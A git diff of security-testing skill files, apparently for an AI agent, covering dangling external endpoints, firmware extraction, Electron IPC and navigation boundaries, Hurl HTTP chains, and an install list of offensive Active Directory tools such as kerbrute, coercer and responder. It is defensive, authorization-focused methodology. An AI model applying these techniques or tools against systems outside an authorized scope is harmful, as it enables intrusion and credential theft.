- Compare vulnerable/current builds to learn whether the reference was removed, replaced, or cryptographically hardened. Record CAA, DNSSEC/DANE where relevant, certificate issuance/custom-host requirements, pinning, embedded trust stores, and independent content signatures.
|
||||
|
||||
Do not rely on an HTTP `404`, NXDOMAIN, or “NoSuchBucket” alone. Providers reserve names, enforce ownership verification, or return identical errors for owned/private resources.
|
||||
|
||||
### Live Consumer Confirmation
|
||||
|
||||
Within scope, observe a controlled consumer through:
|
||||
|
||||
- offline code/dataflow from trigger to request and response consumer
|
||||
- DNS/HTTP proxy logs in a lab
|
||||
- packet capture or process/network tracing during a normal test operation
|
||||
- a tester-owned canary endpoint configured through a supported setting
|
||||
- already-authorized sensor/sinkhole telemetry
|
||||
|
||||
Record request method/protocol, SNI/Host, headers, authentication, body data classification, retry cadence, TLS verification, and how the response is parsed or executed.
|
||||
|
||||
## Security Analysis
|
||||
|
||||
Ask in order:
|
||||
|
||||
1. Can ownership/control actually transfer to an unrelated party?
|
||||
2. Does an in-scope deployed consumer still resolve or contact it?
|
||||
3. What authenticity/integrity checks survive endpoint takeover?
|
||||
4. What response fields/content/protocol messages can the controller influence?
|
||||
5. Under what identity and privilege does the consumer process them?
|
||||
6. Is the trigger automatic, scheduled, administrative, user-driven, or update-only?
|
||||
7. What population and versions remain affected?
|
||||
8. What claimability level is proven, and is acquisition necessary for the remaining questions?
|
||||
9. Could acquisition receive out-of-scope traffic or data?
|
||||
10. Does this name serve several distinct consumers that require separate semantics and impact analysis?
|
||||
|
||||
High-impact patterns include:
|
||||
|
||||
- unsigned or weakly verified update/package content processed with system/administrator privilege
|
||||
- JavaScript loaded under a trusted web origin or CSP allowlist
|
||||
- mail/recovery/identity messages delivered to a re-registered domain
|
||||
- secrets or device metadata automatically sent to a reassigned endpoint
|
||||
- trusted control/telemetry responses parsed as commands, config, templates, or executable content
|
||||
- CA/domain verification, service discovery, or protocol logic depending on mutable external ownership
|
||||
|
||||
## Passive Sensor and Sinkhole Handling
|
||||
|
||||
Operating a domain or provider resource that receives real third-party traffic is a separate data-handling activity, not ordinary proof-of-concept hosting. Before enabling it, define:
|
||||
|
||||
- written authorization and legal/privacy owner
|
||||
- accepted protocols and non-interaction policy
|
||||
- collection minimization, encryption, access control, retention, deletion, and redaction
|
||||
- handling for credentials, personal data, malware, or out-of-scope victims
|
||||
- notification/escalation and provider/registrar coordination
|
||||
- prohibition on commands, authentication attempts, payload delivery, or use of received secrets
|
||||
|
||||
Prefer aggregate metadata or a unique tester-controlled canary. Do not deliberately expose a genuinely vulnerable product to collect wild exploitation without separate deployment authorization and containment review.
|
||||
|
||||
## Relationship to Other Skills
|
||||
|
||||
- Load `subdomain_takeover` for dangling DNS records or custom-domain provider bindings. Ordinary expiration/re-registration of a registrable domain, MX identity, or embedded software endpoint remains in this skill.
|
||||
- Load `appliance_firmware` for embedded endpoints, updater scripts, and installed-version prevalence.
|
||||
- Load `source_aware_sast` for targeted source/dataflow confirmation; string presence does not prove current ownership or live consumption.
|
||||
- Load `agentic_system_security` only when the endpoint supplies or controls AI skills, plugins, MCP/model adapters, tool definitions, or effective agent authority.
|
||||
- Load `semantic_confusion` only when a security decision and privileged consumer use different endpoint/package/alias representations or resolution results. Pure temporal ownership drift does not require it.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. exact consumer artifact/version/deployment and reference location
|
||||
2. full DNS/provider/package resolution and current ownership evidence
|
||||
3. historical ownership/decommission timeline
|
||||
4. live or source-confirmed request trigger and accepted response semantics
|
||||
5. TLS/signature/hash/authentication behavior
|
||||
6. consumer privilege, affected population, and configuration prerequisites
|
||||
7. controlled ownership/canary evidence where authorized
|
||||
8. highest claimability level and confidence in live-consumer/prevalence evidence
|
||||
9. sensor/data-handling authorization when acquisition could receive existing traffic
|
||||
10. separate impact analysis for each mail, identity, update, telemetry, code, or control consumer
|
||||
11. remediation across both the endpoint and every retained consumer
|
||||
|
||||
## Common False Positives
|
||||
|
||||
- NXDOMAIN/provider tombstone with a name that cannot be registered or bound.
|
||||
- A hardcoded URL present only in dead code, examples, tests, or an undeployed version.
|
||||
- Live requests go to a vendor-controlled wildcard/catch-all despite an apparently missing specific resource.
|
||||
- Update content is independently signed and the reassigned endpoint cannot produce an accepted artifact; this usually blocks forged-code impact, but metadata exposure, update suppression, unsigned manifest fields, and rollback/version behavior still require analysis.
|
||||
- Expired domain appears in documentation but is absent from authentication, mail, software, and deployed configuration.
|
||||
- A package name is unregistered but the consumer is pinned to a private registry with no public fallback, the scope is routed by `.npmrc`, or the command is already satisfied by a locally installed binary.
|
||||
- The name is unregistered but registry policy, reservation, dispute, or unpublish state prevents the contested registration.
|
||||
- Inbound sensor traffic cannot be attributed to an in-scope consumer/version.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Remove or replace references in every supported and still-deployed version.
|
||||
- Retain defensive ownership of externally embedded domains/resource names for the consumer's realistic lifetime.
|
||||
- Sign update/config/package content with independently managed, rotatable keys and enforce rollback/version policy.
|
||||
- Eliminate implicit public fallback; pin registries, publishers, hashes, and plugin identities.
|
||||
- Inventory domain/MX/provider/package dependencies in decommission workflows and continuous monitoring.
|
||||
- Revoke old credentials/tokens, rotate trust, and provide a migration/kill-switch path for stranded clients.
|
||||
- Monitor DNS, CT, registrar, provider binding, package namespace, and live outbound traffic for ownership drift.
|
||||
|
||||
## Summary
|
||||
|
||||
External names are long-lived security dependencies. Track every consumer to its current controller, prove that deployed software still trusts the endpoint, analyze the authenticity checks and processing privilege, and manage ownership for as long as any supported or abandoned client can call home.
|
||||
@@ -213,7 +213,7 @@ pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE
|
||||
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
|
||||
pipx install bloodyAD # DACL / LDAP object edits over LDAP
|
||||
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
|
||||
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
|
||||
# kerbrute (Go, user enum / pre-auth brute) is prebuilt and already on PATH
|
||||
|
||||
# Kali apt packages
|
||||
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
|
||||
|
||||
@@ -1,253 +0,0 @@
|
||||
---
|
||||
name: appliance-firmware
|
||||
description: Security analysis of appliances and firmware through artifact provenance, safe extraction, root filesystem and runtime mapping, listener and trust-boundary inventory, patch comparison, managed/native code triage, hardware constraints, and isolated device validation
|
||||
---
|
||||
|
||||
# Appliance and Firmware Analysis
|
||||
|
||||
Use this skill for VPNs, firewalls, storage/backup systems, management appliances, embedded products, virtual appliances, and other packaged systems where security behavior is split across firmware, web-server configuration, native daemons, scripts, managed services, generated state, and hardware-specific runtime details.
|
||||
|
||||
Appliance research is architecture research. The public web UI is only one entry point; auxiliary listeners, localhost APIs, sidecars, support agents, update services, telemetry jobs, package installers, and product-native administration features often carry equal or greater authority.
|
||||
|
||||
## Build and Artifact Matrix
|
||||
|
||||
Record before comparing anything:
|
||||
|
||||
| Dimension | Examples |
|
||||
|---|---|
|
||||
| Product | model/SKU, physical/virtual/cloud image, edition/license |
|
||||
| Software | marketing version, build/revision, branch, hotfix, package set |
|
||||
| Platform | architecture, endian, kernel, libc, bootloader, filesystem |
|
||||
| Install state | factory image, upgraded system, migrated config, retained files |
|
||||
| Configuration | feature flags, listeners, authentication mode, HA/cluster role |
|
||||
| Artifact source | vendor download, updater, installed disk, backup, marketplace |
|
||||
| Update form | full image, delta package, component hotfix, rollback bundle |
|
||||
| Authenticity | signature/encryption state, certificate/key ID, manifest/base-version requirement |
|
||||
|
||||
Hash original artifacts and preserve acquisition metadata. A neighboring version from a different SKU, edition, architecture, or installation lineage can produce a convincing but irrelevant diff.
|
||||
|
||||
## Safe Extraction
|
||||
|
||||
Treat firmware and every embedded archive/filesystem as hostile input. Extract as an unprivileged user into a fresh writable quota-limited output directory with no network, bounded recursion/processes, and read-only input.
|
||||
|
||||
### unblob
|
||||
|
||||
[unblob](https://github.com/onekey-sec/unblob) provides recursive extraction plus structured metadata for many firmware/container/filesystem formats. Prefer a reviewed container image digest:
|
||||
|
||||
```bash
|
||||
appliance_out="$(mktemp -d)"
|
||||
docker run --rm --network none \
|
||||
--read-only --cap-drop ALL --security-opt no-new-privileges \
|
||||
--user "$(id -u):$(id -g)" --pids-limit 256 --memory 4g --cpus 2 \
|
||||
--tmpfs /tmp:rw,noexec,nosuid,size=512m \
|
||||
-v /path/to/input:/data/input:ro \
|
||||
-v "$appliance_out":/data/output \
|
||||
ghcr.io/onekey-sec/unblob@sha256:<reviewed-digest> \
|
||||
-e /data/output -d 6 -p 2 --report /data/output/unblob.json \
|
||||
/data/input/firmware.bin
|
||||
```
|
||||
|
||||
Create the output directory first and ensure it is writable by the chosen UID/GID; otherwise the host may create a root-owned mount point. Never extract over an existing analysis tree. Inspect symlinks, device nodes, archive paths, decompression ratios, and output size before interacting with the tree.
|
||||
|
||||
### diffoscope
|
||||
|
||||
Use [diffoscope](https://diffoscope.org/) for a recursive format-aware first comparison of vulnerable/fixed directories, packages, images, JARs, and executables:
|
||||
|
||||
```bash
|
||||
diffoscope --html diffoscope.html vulnerable-root/ fixed-root/
|
||||
```
|
||||
|
||||
Run it in an isolated reviewed container when processing hostile artifacts because it invokes many external format helpers. Use the first report to narrow files/config/packages rather than repeatedly expanding the entire image.
|
||||
|
||||
Use the unblob report and packaged filesystem metadata for ownership, mode, xattr, capability, and device-node claims; a host extraction run under your own UID can intentionally remap them. Do not mount an untrusted extracted filesystem or `chroot` into it on the analyst host.
|
||||
|
||||
## Filesystem and Boot Architecture
|
||||
|
||||
Inventory:
|
||||
|
||||
- partition table, bootloader, kernel, initramfs, SquashFS/UBIFS/ext filesystems
|
||||
- init system, service definitions, inetd/socket activation, rc scripts, supervisors, and watchdogs
|
||||
- read-only base image versus writable overlay, tmpfs, bind mounts, containers/chroots, and persistent data partitions
|
||||
- factory defaults, first-boot generation, upgrade/migration scripts, rollback slots, and retained legacy files
|
||||
- environment files, credentials, certificates, secrets, licenses, databases, sessions, caches, and backup/restore formats
|
||||
- cron/timers, log rotation, telemetry, diagnostics, update checks, package deployment, support bundles, and cleanup tasks
|
||||
- ownership, group membership, capabilities, setuid/setgid, ACLs, sudo/doas rules, device access, and IPC permissions
|
||||
|
||||
Static extracted files may not match runtime. Boot-time scripts can patch files, mount overlays, generate configs, copy certificates, activate routes, or replace binaries. Capture live filesystem/mount/process state when an apparently relevant change is absent from the disk image.
|
||||
|
||||
## Update and Installed-State Reconstruction
|
||||
|
||||
Before trusting a package or image diff, reconstruct how the device installs it:
|
||||
|
||||
- verify signature and manifest order, trust anchors, and whether integrity/authenticity checks cover the whole payload or only a wrapper
|
||||
- distinguish full image, delta update, component hotfix, and required base version
|
||||
- identify target partition, boot slot, rollback path, and anti-rollback/version checks
|
||||
- review pre/post-install hooks, migrations, symlink changes, permission/capability changes, and retained/generated state
|
||||
- map overlay, bind-mount, and generated-file precedence over the extracted rootfs
|
||||
- test fresh install versus upgraded and partially rolled-back states
|
||||
- reconcile package contents with hashes/build IDs from the actual running process and live filesystem
|
||||
|
||||
Record package-manager databases, shipped SBOM/manifests, bundled library copies, loader path, and `RPATH`/`RUNPATH` so you can distinguish a vulnerable library on disk from the library the running process actually maps.
|
||||
|
||||
## Listener and Service Map
|
||||
|
||||
Build a table for every network and local endpoint:
|
||||
|
||||
```text
|
||||
address/port/socket | transport/TLS | process | config/init source
|
||||
route/message type | authentication | authorization | privilege | feature/default
|
||||
```
|
||||
|
||||
Include:
|
||||
|
||||
- HTTP(S) UI/API, CGI/FastCGI, WebSocket, SOAP, SAML/OIDC, upload/download
|
||||
- SSH/SFTP, VPN/IKE, message queues, databases, backup/storage protocols
|
||||
- proprietary TLS/RPC, cluster/HA, device-manager, agent, and telemetry ports
|
||||
- loopback/Unix sockets, localhost APIs, sidecars, containers, and debug/support agents
|
||||
- outbound update/download endpoints and trusted remote control planes
|
||||
|
||||
For outbound updater, telemetry, licensing, or control-plane names, record authoritative DNS/ownership, TLS identity and pinning, proxy/fallback behavior, request data, failure behavior, manifest integrity, payload integrity, and rollback/version policy. Load `infrastructure_lifecycle` when the external domain, bucket, package, or provider resource can expire or be reassigned.
|
||||
|
||||
Map edge configuration to code: reverse-proxy rules, rewrites, location blocks, authentication modules, trusted client-IP headers, TLS client certificates, and backend socket selection. A handler can be patched while a new edge rule merely hides it—or vice versa.
|
||||
|
||||
## Trust and Authorization Boundaries
|
||||
|
||||
Trace:
|
||||
|
||||
```text
|
||||
external listener -> proxy/config -> router/dispatcher -> authentication
|
||||
-> parser -> privileged operation -> OS/service identity
|
||||
```
|
||||
|
||||
Test conceptual boundaries such as:
|
||||
|
||||
- public versus management interface
|
||||
- external versus localhost/sidecar trust
|
||||
- managed device versus manager/controller trust
|
||||
- cluster peer, certificate, flag, or registration state
|
||||
- web user versus OS/service/database authentication
|
||||
- direct route versus internal redirect/component dispatch
|
||||
- fresh install versus upgraded/retained installation state
|
||||
- optional feature disabled versus installed-but-reachable handler
|
||||
|
||||
Successful TCP/TLS/WebSocket negotiation proves transport reachability, not authenticated identity or authorization. Determine the actual privileged result and which server-side flag/session/role enabled it.
|
||||
|
||||
## Code and Configuration Triage
|
||||
|
||||
### Scripts and Configuration
|
||||
|
||||
- Trace Apache/nginx/lighttpd rules, CGI mappings, environment variables, and shell/Perl/Python/PHP scripts.
|
||||
- Search command construction beyond obvious shell metacharacters: arithmetic expansion, config files, response files, argument injection, newline/control characters, and third-party CLI parsing.
|
||||
- Inspect support/debug functions, backup/restore, package install, log/telemetry processors, custom tags/templates, and native admin command runners.
|
||||
- Compare configuration and init/upgrade changes alongside application code.
|
||||
|
||||
### Java/JVM and .NET
|
||||
|
||||
- Use [Vineflower](https://github.com/Vineflower/vineflower) for Java class/JAR reconstruction and `javap -c` to confirm ambiguous bytecode.
|
||||
- Use official [ILSpy/ilspycmd](https://github.com/icsharpcode/ILSpy) for .NET assemblies and inspect IL/metadata when reconstructed C# is ambiguous.
|
||||
- Do not build or run decompiler output, target assemblies/classes, bundled build scripts, or embedded resources in their associated target runtimes/viewers.
|
||||
- Diff class/resource inventories before decompiled text to separate compiler/obfuscator noise from semantic changes.
|
||||
|
||||
### Native Binaries
|
||||
|
||||
- Use official [Ghidra](https://github.com/NationalSecurityAgency/ghidra) for strings/imports/xrefs/decompilation and reproducible headless projects.
|
||||
- Use [BinDiff](https://github.com/google/bindiff) after manifest/package triage isolates the relevant native binaries, and keep the disassembler/BinExport version pair compatible across both sides.
|
||||
- Confirm changed length, auth, command, parser, and file-handling conditions in assembly/runtime; decompiler types and similarity scores are hypotheses.
|
||||
- Record architecture-specific calling convention, endian, alignment, libc, allocator, and mitigations.
|
||||
|
||||
Load `memory_corruption` for bounds/lifetime/disclosure findings and exploitability analysis. Load `protocol_reverse_engineering` for custom/stateful message formats.
|
||||
|
||||
## Version and Patch Analysis
|
||||
|
||||
Compare more than one adjacent pair when possible:
|
||||
|
||||
```text
|
||||
older unaffected/unknown -> vulnerable -> first fixed -> current
|
||||
```
|
||||
|
||||
- Build changed-file/package/config manifests first.
|
||||
- Identify the security invariant introduced by the patch.
|
||||
- Review every caller/sibling handler using the patched helper/parser.
|
||||
- Check branch backports and inconsistent fixes across SKUs/architectures.
|
||||
- Re-test the old structural condition on the fixed build and nearby routes.
|
||||
- Inspect boot/runtime overlays and upgrade scripts if static diff shows no meaningful change.
|
||||
- Distinguish one CVE from one code path; advisories may bundle several bugs or fix only the most exposed route.
|
||||
|
||||
Pair with `advisory_to_poc` for evidence classification, public-PoC decomposition, vulnerable/fixed controls, and detector handoff.
|
||||
|
||||
## Hardware, Virtualization, and Emulation
|
||||
|
||||
Record what the test environment omits:
|
||||
|
||||
- hardware security module/TPM/secure element and device-bound keys
|
||||
- NIC/accelerator/driver behavior, DMA, endian/alignment, and kernel modules
|
||||
- boot chain, secure boot, verified partitions, recovery mode, watchdog, and HA peer
|
||||
- model-specific memory, allocator pressure, process limits, and service configuration
|
||||
- virtual appliance differences from physical products
|
||||
|
||||
Full-system emulation can help recover routes and protocol behavior but often changes drivers, timing, entropy, memory layout, certificates, hardware identity, and mitigations. Treat emulation results as a separate platform and reproduce security-relevant behavior on the actual supported model when the claim depends on those properties.
|
||||
|
||||
Do not disable ASLR, canaries, signature checks, or other mitigations without labeling the resulting demonstration as lab-only and nonrepresentative of default exploitability.
|
||||
|
||||
## Physical-Lab Prerequisites
|
||||
|
||||
Have a recovery path before live-device work:
|
||||
|
||||
- console, serial, hypervisor, snapshot, or other known-good rollback method
|
||||
- exact in-scope image/build and a way to reapply it
|
||||
- isolated management network and controlled outbound connectivity
|
||||
- process or watchdog visibility and a safe way to capture one request at a time
|
||||
|
||||
## Runtime Observation
|
||||
|
||||
Within an authorized lab, collect:
|
||||
|
||||
- process tree, executable/build ID, argv, cwd, users/groups/capabilities, open ports/sockets/files, mounts, namespaces/containers
|
||||
- service logs, audit logs, core files, watchdog/restart events, and packet captures
|
||||
- loaded mappings/libraries, relevant Unix sockets/file descriptors, and config source while sending one known request
|
||||
- filesystem/process events while sending one known request
|
||||
- boot/upgrade output and live configuration generated from templates/databases
|
||||
|
||||
Prefer observation that explains a static hypothesis. Do not install intrusive agents or attach a debugger to production equipment.
|
||||
|
||||
## Capability and Chain Mapping
|
||||
|
||||
Treat findings as product-context primitives:
|
||||
|
||||
- file read → configs, sessions, credentials, tokens, keys, topology
|
||||
- SSRF/request → loopback APIs, sidecars, metadata, package agents
|
||||
- file write → web roots, plugins, templates, restore packages, jobs, telemetry inputs
|
||||
- auth bypass → support/admin command runners, package deployment, native operations
|
||||
- parser disclosure → session/token/pointer material
|
||||
- low-privilege identity → built-in management tools and trusted peer relationships
|
||||
|
||||
Inventory native product consumers before importing a generic exploit gadget. An appliance's normal backup, restore, diagnostic, package, scripting, or cluster function is frequently the shortest bridge between primitives.
|
||||
|
||||
## Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. artifact provenance/hashes and complete SKU/version/platform/config matrix
|
||||
2. extraction method and filesystem/boot/runtime architecture
|
||||
3. listener/service/auth/trust-boundary map
|
||||
4. changed-file/config/package manifest and relevant code path
|
||||
5. external route/protocol through privileged operation and OS identity
|
||||
6. hardware/emulation/mitigation constraints
|
||||
7. vulnerable/fixed/negative-control behavior
|
||||
8. adjacent handlers/branches/install states reviewed
|
||||
9. tool versions, generated artifacts, and unresolved assumptions
|
||||
|
||||
## Common Errors
|
||||
|
||||
- Diffing different SKUs/architectures and attributing packaging noise to a security fix.
|
||||
- Assuming extracted rootfs equals live state despite overlays, generation, or boot-time patches.
|
||||
- Mapping only the web UI and missing auxiliary/custom/local listeners.
|
||||
- Treating a hidden route as removed or a blocked route as a patched sink.
|
||||
- Assuming fresh-install behavior covers upgraded systems with retained files/configuration.
|
||||
- Calling a service pre-auth because a connection succeeds before a privileged operation is attempted.
|
||||
- Treating emulator-only behavior or disabled mitigations as representative of a shipping device.
|
||||
- Running an analyzed binary, extension, build script, or firmware helper on the analyst host.
|
||||
|
||||
## Summary
|
||||
|
||||
Appliances are integrated systems, not single applications. Preserve artifact lineage, extract safely, map boot/runtime state and every listener, trace edge configuration into code and privileged native features, compare fixes across branches and install states, and keep hardware/platform constraints attached to every finding.
|
||||
@@ -1,181 +0,0 @@
|
||||
---
|
||||
name: electron-desktop-apps
|
||||
description: Test Electron desktop applications across renderer, preload, IPC, main-process, navigation, custom-protocol, storage, permission, and update trust boundaries; use for packaged Electron apps, ASAR review, web-to-native capability analysis, and Electron-specific exploit chains
|
||||
---
|
||||
|
||||
# Electron Desktop Applications
|
||||
|
||||
Use this skill for Electron applications. Other webview desktop frameworks may share the high-level web-to-native trust question, but their bridge, sandbox, update, and process APIs differ; do not apply Electron-specific conclusions to NW.js, CEF, Tauri, or Wails without mapping that framework separately.
|
||||
|
||||
Pair this skill with `browser_security` for browser state and navigation, `xss` for renderer injection, `argument_injection` for native subprocess launches, and `insecure_deserialization` or `rce` for a main-process sink.
|
||||
|
||||
## Architecture and Authority Map
|
||||
|
||||
Inventory each security principal and the capabilities crossing between them:
|
||||
|
||||
```text
|
||||
origin + document + frame
|
||||
-> renderer JavaScript
|
||||
-> preload isolated world
|
||||
-> contextBridge API
|
||||
-> IPC channel
|
||||
-> sender/argument/identity checks
|
||||
-> main process or utility process
|
||||
-> filesystem, process, credential, media, network, update, or OS action
|
||||
```
|
||||
|
||||
Record:
|
||||
|
||||
- Electron, Chromium, Node, and application versions
|
||||
- packaging form, `app.asar`, unpacked resources, entry point, and fuses
|
||||
- every `BrowserWindow`, `WebContentsView`, `<webview>`, session/partition, and child window
|
||||
- `webPreferences`: `preload`, `nodeIntegration`, `contextIsolation`, `sandbox`, `webSecurity`, `allowRunningInsecureContent`, experimental features, and subframe/worker integration
|
||||
- every preload export and every `ipcMain.handle`/`ipcMain.on` consumer
|
||||
- origins/documents/frames that can reach each exported API
|
||||
- custom protocols, deep links, navigation helpers, permissions, downloads, storage, and update channels
|
||||
|
||||
Do not infer authority from a setting or channel name alone. Follow one request from renderer input to the main-process side effect and record each authorization decision.
|
||||
|
||||
## Package and Source Reconnaissance
|
||||
|
||||
Extract the application bundle with a reviewed, version-pinned ASAR implementation or inspect an already unpacked `resources/app` tree. Locate `package.json#main`, preload paths, build metadata, Electron version, native modules, and update configuration.
|
||||
|
||||
Search for:
|
||||
|
||||
```text
|
||||
BrowserWindow WebContentsView webviewTag webPreferences
|
||||
preload contextBridge.exposeInMainWorld ipcRenderer
|
||||
ipcMain.handle ipcMain.on webContents.ipc
|
||||
will-navigate will-frame-navigate will-redirect
|
||||
setWindowOpenHandler loadURL loadFile openExternal
|
||||
setPermissionRequestHandler registerSchemesAsPrivileged
|
||||
setAsDefaultProtocolClient open-url second-instance
|
||||
autoUpdater electron-updater
|
||||
```
|
||||
|
||||
Treat decompiled or bundled JavaScript as a hypothesis when source maps, minification, generated IPC bindings, or runtime feature flags can change the installed behavior.
|
||||
|
||||
## Preload and Context-Bridge Analysis
|
||||
|
||||
A preload script has privileged Electron/Node access even when `nodeIntegration` is disabled. With context isolation, it can still expose selected functions and values into the page's main world.
|
||||
|
||||
Classify every export:
|
||||
|
||||
- narrow operation with fixed channel and validated arguments
|
||||
- caller-selected channel or event name
|
||||
- direct exposure of `ipcRenderer`, Node/Electron modules, filesystem/process objects, or mutable privileged objects
|
||||
- callback/event registration that leaks the raw IPC event or privileged objects
|
||||
- secret/session/storage access
|
||||
- operation whose authorization exists only in renderer JavaScript
|
||||
|
||||
A generic `send(channel, ...)` or `invoke(channel, ...)` bridge expands the renderer's candidate capability set, but the registered handler list is not the ACL. For each handler, inspect:
|
||||
|
||||
- `event.senderFrame` URL/origin and frame identity validation
|
||||
- expected `webContents`, window, session/partition, and application state
|
||||
- user/tenant authorization and request provenance
|
||||
- argument schema, paths, URLs, command options, and object deserialization
|
||||
- result exposure and event subscriptions
|
||||
|
||||
An IPC handler's existence does not prove an untrusted frame can invoke it successfully.
|
||||
|
||||
## Navigation and Window Boundaries
|
||||
|
||||
Web preferences belong to a `webContents`; navigation does not automatically turn a privileged window into an ordinary browser tab. A configured preload can run for newly loaded documents and expose its bridge to content that was never intended to receive it.
|
||||
|
||||
Map all navigation causes:
|
||||
|
||||
- user- or page-initiated main-frame navigation (`will-navigate`)
|
||||
- subframe navigation (`will-frame-navigate`)
|
||||
- server redirects (`will-redirect`)
|
||||
- new windows and popups (`setWindowOpenHandler`)
|
||||
- application calls to `loadURL`, `loadFile`, history APIs, or routing helpers
|
||||
- custom-protocol redirects and external-link handlers
|
||||
|
||||
`will-navigate` does not cover every programmatic navigation, so the event's presence is not complete enforcement.
|
||||
|
||||
Parse candidate URLs with `URL` and compare explicit protocol, origin/host, port, and path rules. Do not use string-prefix checks such as `startsWith("https://trusted.example")`. Apply the same canonical policy to initial loads, redirects, frames, popups, programmatic loads, and externally opened URLs.
|
||||
|
||||
Before calling `shell.openExternal`, validate the scheme and complete destination expected by the feature. Treat `file:`, custom schemes, handler-specific arguments, credentials in URLs, and ambiguous encodings as separate cases.
|
||||
|
||||
## Node, Isolation, and Sandbox Settings
|
||||
|
||||
- `nodeIntegration: true` in a renderer that can execute untrusted script directly exposes Node capability and commonly turns renderer injection into native code execution.
|
||||
- `contextIsolation: false` weakens the boundary between page and preload worlds but is not, by itself, proof of native code execution.
|
||||
- `sandbox: false` removes Chromium process isolation; determine which preload or renderer capabilities become reachable rather than reporting the flag alone.
|
||||
- `webSecurity: false`, `allowRunningInsecureContent`, permissive experimental features, and unsafe `<webview>` preferences change separate browser boundaries and must be traced to an exploit path.
|
||||
- `nodeIntegrationInSubFrames` and preload injection into frames require frame-by-frame sender and origin analysis.
|
||||
|
||||
Record Electron-version defaults. A missing explicit setting can mean different behavior on different major releases.
|
||||
|
||||
## Custom Protocols and Deep Links
|
||||
|
||||
Treat OS-delivered URLs and second-instance command lines as attacker-controlled inputs:
|
||||
|
||||
```text
|
||||
OS handler / browser / document
|
||||
-> custom scheme or argv
|
||||
-> URL/argument parsing
|
||||
-> application router
|
||||
-> renderer navigation or native operation
|
||||
```
|
||||
|
||||
Test authority and parser boundaries for host/path normalization, duplicate parameters, encoding depth, file paths, option injection, and cross-profile/account routing. Confirm which application instance and user session receives the event.
|
||||
|
||||
For custom application protocols, record whether the scheme is registered as secure, standard, CORS-enabled, stream-capable, or privileged, and how that affects origin and storage behavior.
|
||||
|
||||
## Permissions, Storage, and Secrets
|
||||
|
||||
Map session permission handlers for media, notifications, geolocation, clipboard, display capture, USB/HID/serial, filesystem access, and external protocols. Verify decisions use the requesting frame/origin and cannot be inherited from a more trusted window.
|
||||
|
||||
Inventory secrets and capability-bearing state reachable from renderer or preload code:
|
||||
|
||||
- tokens, cookies, session identifiers, recovery material, and encryption keys
|
||||
- IndexedDB, local/session storage, cookies, cache, filesystem databases, and keychain wrappers
|
||||
- local service ports, named pipes, Unix sockets, and authentication material
|
||||
|
||||
At-rest encryption does not protect data when the renderer can retrieve the key or ask a privileged bridge to decrypt it.
|
||||
|
||||
## Updates and Native Extensions
|
||||
|
||||
Trace the update pipeline as an executable supply chain:
|
||||
|
||||
- feed URL and channel selection
|
||||
- TLS identity, redirects, proxy behavior, and metadata parsing
|
||||
- artifact signature and publisher verification
|
||||
- version/rollback policy and staged update state
|
||||
- native modules, helper binaries, installers, and post-update hooks
|
||||
|
||||
An attacker-controlled feed is not automatically native code execution if independent artifact signatures are mandatory. Conversely, HTTPS does not compensate for missing artifact authenticity or unsafe rollback behavior.
|
||||
|
||||
## Validation
|
||||
|
||||
- Record the exact installed build, Electron version, preferences, preload, handler, and current document/frame origin.
|
||||
- Demonstrate the complete path from attacker-controlled input or renderer state to the main-process operation.
|
||||
- Capture sender-validation and argument-validation outcomes, not only successful IPC transport.
|
||||
- Re-test after cross-origin navigation, redirect, frame creation, window creation, and session/profile changes.
|
||||
- Separate renderer script execution, bridge access, accepted IPC, privileged data access, filesystem/process control, and native code execution.
|
||||
|
||||
## False Positives
|
||||
|
||||
- A preload or handler exists but the tested document/frame cannot reach it.
|
||||
- A channel is registered but rejects the sender, identity, state, or arguments.
|
||||
- `contextIsolation` or sandboxing is disabled without a reachable privileged API.
|
||||
- Navigation is blocked on user links but still possible through application code, or vice versa.
|
||||
- A remote page has no preload export, Node integration, IPC route, or privileged permission.
|
||||
- An update feed is mutable but every artifact and version transition is independently authenticated.
|
||||
- A secret-looking value is scoped to synthetic/test data or cannot authorize any downstream action.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Load local application UI and isolate remote content in an unprivileged `WebContentsView` or external browser.
|
||||
- Keep Node integration disabled, context isolation enabled, and renderer sandboxing enabled.
|
||||
- Expose narrow preload APIs with fixed operations and strict schemas.
|
||||
- Validate every IPC sender frame, application identity, authorization context, and argument in the main process.
|
||||
- Parse and allowlist navigation destinations consistently across every navigation path.
|
||||
- Restrict permissions per session and requesting origin.
|
||||
- Keep credentials and encryption keys outside renderer reach.
|
||||
- Authenticate update metadata and artifacts, enforce rollback policy, and pin publishers.
|
||||
|
||||
## Summary
|
||||
|
||||
Electron security depends on which document and frame can reach which native capability. Map navigation, preload exports, IPC sender checks, permissions, storage, protocols, and updates as one authority graph, then validate the entire path to the privileged operation.
|
||||
@@ -1,99 +0,0 @@
|
||||
---
|
||||
name: hurl
|
||||
description: Reproducible, reviewable HTTP request chains and response assertions with Hurl for authorized multi-step security validation, vulnerable-versus-fixed regression cases, captured values, and low-rate semantic oracles
|
||||
---
|
||||
|
||||
# Hurl Security Regression Playbook
|
||||
|
||||
Use [Hurl](https://hurl.dev/) when a security proof requires an ordered HTTP session whose requests, captured values, and assertions should be code-reviewed and replayed. It is well suited to authentication flows, redirects, cookies, CSRF tokens, upload lifecycles, patch regression, and paired semantic-differential cases.
|
||||
|
||||
Hurl sends exactly what the file describes. It does not make state-changing requests safe. Review scope, methods, targets, and captured secrets before every run.
|
||||
|
||||
## Install
|
||||
|
||||
Prefer an official release binary or package. On macOS:
|
||||
|
||||
```bash
|
||||
brew install hurl
|
||||
hurl --version
|
||||
```
|
||||
|
||||
Official alternatives include release packages and `cargo install --locked hurl`; see [installation](https://hurl.dev/docs/installation.html). Record the tool version with results.
|
||||
|
||||
## Minimal Chain
|
||||
|
||||
```hurl
|
||||
# lab-regression.hurl
|
||||
GET {{base_url}}/session
|
||||
HTTP 200
|
||||
[Captures]
|
||||
csrf: xpath "string(//input[@name='csrf']/@value)"
|
||||
[Asserts]
|
||||
header "Content-Type" startsWith "text/html"
|
||||
|
||||
POST {{base_url}}/action
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
[FormParams]
|
||||
csrf: {{csrf}}
|
